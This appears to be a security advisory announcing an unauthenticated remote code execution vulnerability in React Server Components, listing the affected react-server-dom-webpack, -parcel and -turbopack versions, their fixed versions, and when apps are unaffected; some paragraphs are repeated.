If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
React Server Components are Vulnerable to RCE
Impact
There is an unauthenticated remote code execution vulnerability in React Server Components.
We recommend upgrading immediately.
The vulnerability is present in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
A fix was introduced in versions 19.0.1, 19.1.2, and 19.2.1. If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
